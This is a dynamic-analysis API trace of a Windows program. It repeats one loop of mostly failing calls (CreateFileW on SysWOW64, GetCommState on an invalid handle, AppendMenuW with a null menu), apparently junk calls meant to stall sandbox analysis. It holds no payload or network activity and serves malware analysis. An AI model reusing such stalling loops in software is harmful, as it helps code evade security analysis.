	[0050.503] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.503] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.503] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.503] SetErrorMode (uMode=0x1) returned 0x1
	[0050.503] GetLogicalDrives () returned 0x4
	[0050.503] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.503] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.503] AppendMenuW (hMenu=0x0, uFlags=0x80aef41c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.504] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.504] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.504] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.504] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.504] SetErrorMode (uMode=0x1) returned 0x1
	[0050.504] GetLogicalDrives () returned 0x4
	[0050.504] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.504] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.504] AppendMenuW (hMenu=0x0, uFlags=0x80afcea8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.504] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.504] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.504] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.504] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.504] SetErrorMode (uMode=0x1) returned 0x1
	[0050.504] GetLogicalDrives () returned 0x4
	[0050.504] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.504] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.505] AppendMenuW (hMenu=0x0, uFlags=0x80b0d05c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.505] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.505] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.505] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.505] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.505] SetErrorMode (uMode=0x1) returned 0x1
	[0050.505] GetLogicalDrives () returned 0x4
	[0050.505] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.505] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.505] AppendMenuW (hMenu=0x0, uFlags=0x80b1aae8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.505] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.505] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.505] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.505] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.505] SetErrorMode (uMode=0x1) returned 0x1
	[0050.505] GetLogicalDrives () returned 0x4
	[0050.505] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.506] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.506] AppendMenuW (hMenu=0x0, uFlags=0x80b1ac9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.506] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.506] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.506] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.506] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.506] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.506] SetErrorMode (uMode=0x1) returned 0x1
	[0050.506] GetLogicalDrives () returned 0x4
	[0050.506] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.506] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.506] AppendMenuW (hMenu=0x0, uFlags=0x80b28728, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.506] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.506] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.507] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.507] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.507] SetErrorMode (uMode=0x1) returned 0x1
	[0050.507] GetLogicalDrives () returned 0x4
	[0050.507] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.507] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.507] AppendMenuW (hMenu=0x0, uFlags=0x80b388dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.507] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.507] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.507] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.507] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.507] SetErrorMode (uMode=0x1) returned 0x1
	[0050.507] GetLogicalDrives () returned 0x4
	[0050.507] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.507] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.507] AppendMenuW (hMenu=0x0, uFlags=0x80b46368, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.508] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.508] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.508] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.508] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.508] SetErrorMode (uMode=0x1) returned 0x1
	[0050.508] GetLogicalDrives () returned 0x4
	[0050.508] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.508] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.508] AppendMenuW (hMenu=0x0, uFlags=0x80b5651c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.508] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.508] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.508] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.508] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.508] SetErrorMode (uMode=0x1) returned 0x1
	[0050.508] GetLogicalDrives () returned 0x4
	[0050.508] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.508] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.509] AppendMenuW (hMenu=0x0, uFlags=0x80b63fa8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.509] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.509] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.509] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.517] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.517] SetErrorMode (uMode=0x1) returned 0x1
	[0050.517] GetLogicalDrives () returned 0x4
	[0050.517] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.517] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.517] AppendMenuW (hMenu=0x0, uFlags=0x80b7415c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.517] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.517] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.518] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.518] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.518] SetErrorMode (uMode=0x1) returned 0x1
	[0050.518] GetLogicalDrives () returned 0x4
	[0050.518] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.518] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.518] AppendMenuW (hMenu=0x0, uFlags=0x80b81be8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.518] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.518] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.518] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.518] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.518] SetErrorMode (uMode=0x1) returned 0x1
	[0050.518] GetLogicalDrives () returned 0x4
	[0050.518] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.518] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.518] AppendMenuW (hMenu=0x0, uFlags=0x80b91d9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.519] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.519] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.519] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.519] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.519] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.519] SetErrorMode (uMode=0x1) returned 0x1
	[0050.519] GetLogicalDrives () returned 0x4
	[0050.519] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.519] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.519] AppendMenuW (hMenu=0x0, uFlags=0x80b9f828, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.519] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.519] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.519] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.519] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.519] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.519] SetErrorMode (uMode=0x1) returned 0x1
	[0050.519] GetLogicalDrives () returned 0x4
	[0050.519] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.519] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.520] AppendMenuW (hMenu=0x0, uFlags=0x80baf9dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.520] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.520] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.520] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.520] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.520] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.520] SetErrorMode (uMode=0x1) returned 0x1
	[0050.520] GetLogicalDrives () returned 0x4
	[0050.520] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.521] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.521] AppendMenuW (hMenu=0x0, uFlags=0x80bbd468, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.521] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.521] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.521] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.521] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.521] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.521] SetErrorMode (uMode=0x1) returned 0x1
	[0050.521] GetLogicalDrives () returned 0x4
	[0050.521] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.521] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.521] AppendMenuW (hMenu=0x0, uFlags=0x80bcd61c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.522] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.522] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.522] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.522] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.522] SetErrorMode (uMode=0x1) returned 0x1
	[0050.522] GetLogicalDrives () returned 0x4
	[0050.522] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.522] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.522] AppendMenuW (hMenu=0x0, uFlags=0x80bdb0a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.522] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.522] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.522] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.522] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.522] SetErrorMode (uMode=0x1) returned 0x1
	[0050.522] GetLogicalDrives () returned 0x4
	[0050.522] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.522] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.523] AppendMenuW (hMenu=0x0, uFlags=0x80bdb25c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.523] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.523] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.523] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.523] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.523] SetErrorMode (uMode=0x1) returned 0x1
	[0050.523] GetLogicalDrives () returned 0x4
	[0050.523] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.523] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.523] AppendMenuW (hMenu=0x0, uFlags=0x80be8ce8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.523] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.523] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
